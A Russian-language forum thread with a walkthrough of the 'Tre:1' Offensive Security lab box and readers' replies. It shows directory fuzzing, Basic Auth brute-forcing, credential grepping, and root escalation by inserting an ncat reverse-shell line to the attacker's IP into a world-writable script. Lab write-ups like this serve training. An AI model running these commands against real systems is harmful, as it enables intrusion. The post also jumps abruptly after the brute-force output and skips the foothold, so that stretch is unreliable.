PDA

Просмотр полной версии : Tre:1 от Offensive Security (Уровень: Средний)


Qulan
04.11.2021, 14:13
Приветствую!

Хотел бы поделиться прохождением коробки из листинга Offensive Security. Бокс разработан командой SunCSR Team, уж очень мне нравится что они создают)))

1. Recon

1.1. Первым делом сканируем доступный хост на предмет открытых портов:


sudo nmap -p- -T 5 -A 192.168.1.106 —open


Код:



PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 99:1a:ea:d7:d7:b3:48:80:9f:88:82:2a:14:eb:5f:0e (RSA)
| 256 f4:f6:9c:db:cf:d4:df:6a:91:0a:81:05:de:fa:8d:f8 (ECDSA)
|_ 256 ed:b9:a9:d7:2d:00:f8:1b:d3:99:d6:02:e5:ad:17:9f (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-tite: Tre
|_http-server-header: Apache/2.4.38 (Debian)
8082/tcp open http nginx 1.14.2
|_http-title: Tre
|_http-server-header: nginx/1.14.2
MAC Address: E0:2B:E9:E8:28:99 (Intel Corporate)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Видим три открытых порта, два из которых относятся к веб серверу и один SSH.

1.2. Information gathering

Один из самых важных этапов при проведении тестирования на проникновение — Сбор информации. Чем больше информации, тем больше векторов для атаки. Для удобства все найденые по ходу данные, помещаю в таблицу:

Web App information table:

Port80Web serverApache httpd 2.4.38Hidden dirsHidden filesApplication type

Hidden Dirs:

Один из важнейших этапов при сборе информации. Применяемые словари:

/SecLists/Discovery/Web-Content/common.txt

/SecLists/Discovery/Web-Content/big.txt

/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt

/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt

/SecLists/Discovery/Web-Content/raft-large-directories.txt

/robots.txt
Этап достаточно долгий и стоит запасаться терпением. Крайне важно собрать как можно больше инфы.

/SecLists/Discovery/Web-Content/common.txt:

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 7907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]

/SecLists/Discovery/Web-Content/big.txt:

.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]

/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:

system [Status: 401, Size: 460, Words: 42, Lines: 15]
cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]

/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt:

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]

/SecLists/Discovery/Web-Content/raft-large-directories.txt:

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]

/robots.txt
Файл не существует!

Теперь когда мы прошлись по словарям, собирем все найденное в файле hidden_dirs.txt и применим команду awk. Нас интересует убрать дубли из файла.


awk '!seen[$0]++' hidden_dirs.txt > dirs_sorted.txt


Код:



┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]

└──╼ $cat dirs_sorted.txt

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]


Супер, теперь у нас есть список директорий. Пришло время искать файлы.

Hidden files:

Применяемые словари:

Так как мы знаем что у нас PHP, то добавим к общему списку словарей еще и Common-DB-Backups.txt и Common-PHP-Filenames.txt

Таким образом список словарей будет таким:

/SecLists/Discovery/Web-Content/common.txt
/SecLists/Discovery/Web-Content/big.txt
/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
/SecLists/Discovery/Web-Content/Common-DB-Backups.txt

Способы применения:

- Словари с каталогами. Тут мы при фазинге будем подставлять строки из файла в качестве имени файла, тип файла определим самостоятельно.
- Словари с файлами PHP и DB. Ищем искомое.

/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt

info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]

/SecLists/Discovery/Web-Content/Common-DB-Backups.txt

Пусто!

SecLists/Discovery/Web-Content/common.txt

index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]

/SecLists/Discovery/Web-Content/big.txt


ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/big.txt -c -t 70


Код:



adminer [Status: 200, Size: 4656, Words: 204, Lines: 51]
info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]



ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -c -t 70



info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]



ffuf -u http://192.168.1.106/FUZZ.php -w /opt/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -c -t 70 --fc 403


Код:



info [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer [Status: 200, Size: 4655, Words: 204, Lines: 51]


Когда все собрано, проделываем тот же прием как и с файлом директорий.


awk '!seen[$0]++' hidden_files.txt > files_sorted.txt


И получаем файлы…

Те же действия требуется провести для поиска интересующих типов файлов, таких как

bak, old, backup,txt

. Сразу отмечу, что на этой машине данных файлов не обнаружено, а это значит что мы можем переходить к самому веб приложению.

1.3. Web Application

https://forum.antichat.xyz/attachments/29090685/img_64445a8363.png

Смотрим исходный код страницы на предмет комментариев и иной важной информации (версии, js скрипты, css разметка).

https://forum.antichat.xyz/attachments/29090685/img_4486e79ab4.png

Единственное что может быть интересным, это

file.jpg

. Проверим его на наличие секретов в мета-данных.

Качаем к себе файл:


curl -O http://192.168.1.106/file.jpg

('http://192.168.1.106/file.jpg')

Вскрываем мета-данные:


exiftool file.jpg


Код:



exiftool file.jpg
ExifTool Version Number : 12.16
File Name : file.jpg
Directory : .
File Size : 223 KiB
File Modification Date/Time : 2021:10:28 14:09:20+03:00
File Access Date/Time : 2021:10:28 14:09:20+03:00
File Inode Change Date/Time : 2021:10:28 14:09:20+03:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 1400
Image Height : 980
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1400x980
Megapixels : 1.4


Как оказалось, в нем нет секретов))) Двигаемся по найденным скрытым файлам.

Код:



┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]

└──╼ $cat dirs_sorted.txt

cms [Status: 301, Size: 312, Words: 20, Lines: 10]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10]
system [Status: 401, Size: 460, Words: 42, Lines: 15]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10]
mantisbt [Status: 301, Size: 317, Words: 20, Lines: 10]


Код:



┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]

└──╼ $cat files_sorted.txt

info.php [Status: 200, Size: 87907, Words: 4362, Lines: 1038]
index.html [Status: 200, Size: 164, Words: 8, Lines: 9]
info.php [Status: 200, Size: 87908, Words: 4362, Lines: 1038]
adminer.php [Status: 200, Size: 4655, Words: 204, Lines: 51]


http://192.168.1.106/cms/site/Перейдя в директорию

cms

нас редиректит на сайт solmusic

https://forum.antichat.xyz/attachments/29090685/img_ec84c2b38e.png

Так как у нас имеется содержимое, то стоит сново произвести фазинг этих каталогов на содержимое в них файлов и каталогов. Как говорил ранее, фазить придется много и очень долго!!!!


ffuf -u http://192.168.1.106/cms/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100


Код:



cache [Status: 301, Size: 318, Words: 20, Lines: 10]
core [Status: 301, Size: 317, Words: 20, Lines: 10]
custom [Status: 301, Size: 319, Words: 20, Lines: 10]
extensions [Status: 301, Size: 323, Words: 20, Lines: 10]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
site [Status: 301, Size: 317, Words: 20, Lines: 10]
templates [Status: 301, Size: 322, Words: 20, Lines: 10]
vendor [Status: 301, Size: 319, Words: 20, Lines: 10]


Я не буду сново повторяться в сканировании, скажу лишь что весь процесс требуется повторить, как мы делали это ранее.


ffuf -u http://192.168.1.106/cms/site/FUZZ -w /opt/wordlists/SecLists/Discovery/Web-Content/common.txt -c -t 100


Код:



css [Status: 301, Size: 321, Words: 20, Lines: 10]
img [Status: 301, Size: 321, Words: 20, Lines: 10]
index.html [Status: 200, Size: 12540, Words: 762, Lines: 356]
js [Status: 301, Size: 320, Words: 20, Lines: 10]


И так далее… Задача собрать все что можем собрать с каждой директории. Проческать каждый файл, каждый бэкап.

Смотрим искодник по адресу

http://192.168.1.106/cms/site/


И в нем нет ничего, что могло бы меня заинтересовать! Так же проходимся по всем css и js файлам указанным в исходном коде.

Смотрим функционал сайта. На сайте есть кнопка

Login

,

Create an account

но они не рабочие. Так же на сайте можно прослушивать музыку. Манипуляции типа скачать или купить не работают((( Порыскав еще пол часика, я решил оставить этот ресурс и двигаться дальше.

При фазинге адресса

http://192.168.1.106/cms/core/

были выявлены следующие каталоги и файлы:

Код:



admin [Status: 301, Size: 323, Words: 20, Lines: 10]
feeds [Status: 301, Size: 323, Words: 20, Lines: 10]
inc [Status: 301, Size: 321, Words: 20, Lines: 10]
index.html [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 0, Words: 1, Lines: 1]


index файлы хоть и имею статус 200, но имеют нулевой сайз, то есть пустые. Двинув по каталогам, по адресу

http://192.168.1.106/cms/core/feeds/rss2.php

было выявленно BigTree CMS.

https://forum.antichat.xyz/attachments/29090685/img_2632518117.png

Пока мануально перебираю каталоги, пробую натравить CMSmap на адрес

http://192.168.1.106/cms/site/

, но результата не получил(((

Почитав документацию и еще пару часиков фазинга меня начали выбивать… Я понял что я устал тут капать. Было ощущение, что я двигаюсь не в том направлении, так как согласно докам по BigTree, у меня должны быть рабочими Админка и страртовая в виду
site/index.php

, но он отсутствовал. Принято, оставляем это дело и топаем дальше)))

http://192.168.1.106/system/

При попытке обратится к каталогу, меня встречает Basic Auth Form

https://forum.antichat.xyz/attachments/29090685/img_901053d9b2.png

Единственное что я мог бы попробовать, так это брутить с помощью

Common-Username

в качестве логина и пароля. Другими словами, нам нужна Cluster Bomb

Для брута я буду использовать

ffuf

, но так как он не заточен под Basic Auth, то буду использовать решение в виде

ffuf_basicauth.sh


Задача данного скрипта собрать валидный формат loginassword и перевести в base64

Код:



┌─[qulan@demitoris]─[~/Practice/ofsec/Tre]

└──╼ $/opt/hack-tools/Web-tools/ffuf-scripts/ffuf_basicauth.sh /opt/wordlists/SecLists/Usernames/top-usernames-shortlist.txt /opt/wordlists/SecLists/Usernames/top-usernames-shortlist.txt |ffuf -w -:AUTH -u http://192.168.1.107/system/ -H "Authorization: Basic AUTH" -c --fc 401


Код:



Generating HTTP basic authentication strings. This can take a while depending on the length of user and password lists.

Usernames: 17
Passwords: 17
Total combinations: 289

v1.3.1 Kali Exclusive /dev/null[/B]

/var/www/html/system/plugins/MantisCoreFormatting/pages/config.php

/var/www/html/system/plugins/XmlImportExport/pages/config.php

/var/www/html/mantisbt/plugins/MantisCoreFormatting/pages/config.php

/var/www/html/mantisbt/plugins/XmlImportExport/pages/config.php

И в них пусто!

Пробуем почитать mysql лог файл

Код:



www-data@tre:/var/log$ cat mysql/

cat: mysql/: Permission denied


Read/Write etc/passwd,shadow,sudoers

Код:



www-data@tre:/$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1445 May 12 2020 /etc/passwd

www-data@tre:/$ ls -l /etc/shadow

-rw-r----- 1 root shadow 965 May 12 2020 /etc/shadow

www-data@tre:/$ ls -l /etc/sudoers

-r--r----- 1 root root 708 May 12 2020 /etc/sudoers


Без результата!

Find suid and guid files

[CODE]
www-data@tre:/$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null


Код:



-rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
-rwxr-sr-x 1 root crontab 43568 Oct 11 2019 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 71816 Jul 27 2018 /usr/bin/chage
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwxr-sr-x 1 root shadow 31000 Jul 27 2018 /usr/bin/expiry
-rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write
-rwxr-sr-x 1 root ssh 321672 Jan 31 2020 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
-rwxr-sr-x 1 root tty 34896 Jan 10 2019 /usr/bin/wall
-rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
-rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwxr-sr-x 1 root shadow 39616 Feb 14 2019 /usr/sbin/unix_chkpwd


И снова ничего нету

Find any creds in files

Код:



www-data@tre:/var/www/html$ grep -r '/' -e 'password' > password.txt

www-data@tre:/var/www/html$ grep -r '/' -e 'passwd' > passwd.txt

www-data@tre:/var/www/html$ grep -r '/' -e 'user' > user.txt

www-data@tre:/var/www/html$ grep -r '/' -e 'cred*' > creds.txt


Тут мы отправляем вывод

grep

в файлы для того, чтоб отфильтровать все что доступно для чтения, от того, что не доступно. В файле сохраняются результаты, которые мы можем просматреть, а на экране высветятся все со статусом

Permission denied


Проглядев эти файлы, я снова ничего не нарыл…

Вообщем перебрав все варианты, котрые я имел я решил воспользоваться уязвимостью ядра, но тут меня тоже ждала неудача, так как для версии ядра 4.19.0-9 я не нашел эксплоит(((

Дальше я решил воспользоваться linpeas’ом для сбора информации. Я не люблю автоматизацию, предпочитаю все делать руками. Но тут сам Бог велел. Отмечу что тут я тоже потерпел неудачу(((

Потыкав еще часок, я решил вернуться к процессам. Уж очень меня интересовал вызов команды

sleep

.

Запустив pspy еще раз проверяю все строчки…

Блин… Я трижды смотрел в список и не обратил внимания на эту строчку

https://forum.antichat.xyz/attachments/29090685/img_fe3ead6fba.png


2021/11/04 03:49:09 CMD: UID=0 PID=423 | /bin/bash /usr/bin/check-system


Запускается какой-то check-system

Код:



www-data@tre:/var/www/html$ ls -l /usr/bin/check-system

-rw----rw- 1 root root 116 Nov 4 02:55 /usr/bin/check-system


Опля… Удача. Перед нами файл принадлежащий root, им же запускаемый и еще и имеющий права для чтения и записи для ВСЕХ!

Смотрим что внутри

Код:



www-data@tre:/var/www/html$ cat /usr/bin/check-system

DATE=`date '+%Y-%m-%d %H:%M:%S'`

echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
sleep 1;
done


А вот и наш

sleep

! Перед нами bash скрипт который запускает бесконечный цикл с командой sleep 1. Мы имеем возможность добавить в этот скрипт все что хотим испольнить от root, я буду возвращать оболочку.

Для этого мне потребуется скопировать мой ncat из tmp в

var/www/html/

так как все что находится во временной папке удалится при перезапуске! При чем тут перезапуск спросите вы? И это хороший попрос. Фишка в том, что check-system запускается единожды. И даже если мы внесем в него изменения, они не будут выполнены. Поэтому потребуется перезапустить коробку!

Преношу ncat и редактирую скрипт.

Код:



www-data@tre:/var/www/html$ cat /usr/bin/check-system

DATE=`date '+%Y-%m-%d %H:%M:%S'`

echo "Service started at ${DATE}" | systemd-cat -p info

while :
do
./var/www/html/ncat 192.168.1.108 1234 -e /bin/bash
sleep 1;
done


Сохраняю, ставлю у меня листенера и перезапускаюсь!

https://forum.antichat.xyz/attachments/29090685/1636018364600.png

Мы есть Root )

P.S. В целом получил огромное удовольствие от прохождения. Эта коробка стала для меня неким показателем собственного роста. Но пройдя ее, меня не покидала мысль, что решение не совсем верное. Почему? Так как я проходил ее используя виртуальную машину, то понятно, что уйти на перезапуск достаточно просто. Но я же понимаю как это работает у OffSec'ов. Там если ты сделал ребут, то коробка перезагружается с начала, а соответственно все мои правки сошли бы на нет.

Вообщем поразмышляв над этим, я решил посмотреть райтапы. И тут меня ждала новость. Как оказалось, пройти ее можно было очень быстро и решение по факту было перед моими глазами. Помните adminer? Тот менеджер БД.. Так вот когда мы авторизовываемся в нем, там лежат два юзера с правами админа и менеджера. Один с логином administrator, другой tre. А системный юзер tre у нас был. Так вот, уязвимость болле чем простая и встречается по сей день, а именно - Использование одного пароля, для разных сервисов. Как оказалось, пароль лежащий в базе подходил для доступа в SSH, а сам юзер имел sudo права на выполнения shutdown команды.

Соответственно введя shutdown -r мы бы перезапустили коробку без изменений))) Вот так вот. Но все же, я доволен что проходил ее более длинным путем. По факту мне удалось найти уязвимость не зная о ее существовании(Сброс пароля), а это как ни как показатель знаний, опыта и труда!

Конечо в райтапе не передать всего с чем пришлось столкнуться. Например фазинг. Его реально было много, очень много. Думаю часов 12+ наберется в сумме. Я реально сканил каждую директорию на предмет каталогов и файлов и это все миллионы строк запросов. А сколько раз я пытался впихнуть шелл в цикл при повышении... И реально бесился что нечего не выполнялось, пока не понял что скрипт запускается единожды при запуске)) Вообщем на прохождение этой коробки мне потребовался 1 месяц. Решал я ее в свободное время от курса WAPT, когда приходлось по несколько дней ждать перехода на следующую тему. Но за то мне удалось вникнуть в каждый процесс.

С Уважением[/I][/I]

ripmandin
07.11.2021, 15:55
@Qulan (https://forum.antichat.xyz/members/2743501/) , ты же просто красавчик! Отличная статья, здорово ты тачку расковырял. Методики брал из методички PWK или они сложились по итогу прохождения HTB и THM?

Qulan
08.11.2021, 10:22
ripmandin сказал(а):

@Qulan (https://forum.antichat.xyz/members/2743501/) , ты же просто красавчик! Отличная статья, здорово ты тачку расковырял. Методики брал из методички PWK или они сложились по итогу прохождения HTB и THM?


Спасибо!
Все что использовалось, в основном, это THM. Но большая доля по фазингу от курса WAPT))) Там фазить научат...! (Доцент бы заставил)
Ну и конечно не большой практический опыт.

DragonFly
08.11.2021, 10:45
Qulan сказал(а):

большая доля по фазингу от курса WAPT))) Там фазить научат...! (Доцент бы заставил)


Это дааа)))))))))))

Gray Ghost
08.11.2021, 14:53
Отлично написано! Продолжай в том же духе!

JIBRIL
12.11.2021, 12:22
Мне очень понравилась твоя статья, спасибо тебе за столь огромное количество строк.

ex4ud1
30.11.2021, 17:50
Великолепно! Очень хороший райтап, читается на одном дыхании и всё прекрасно расписано. Огромное спасибо)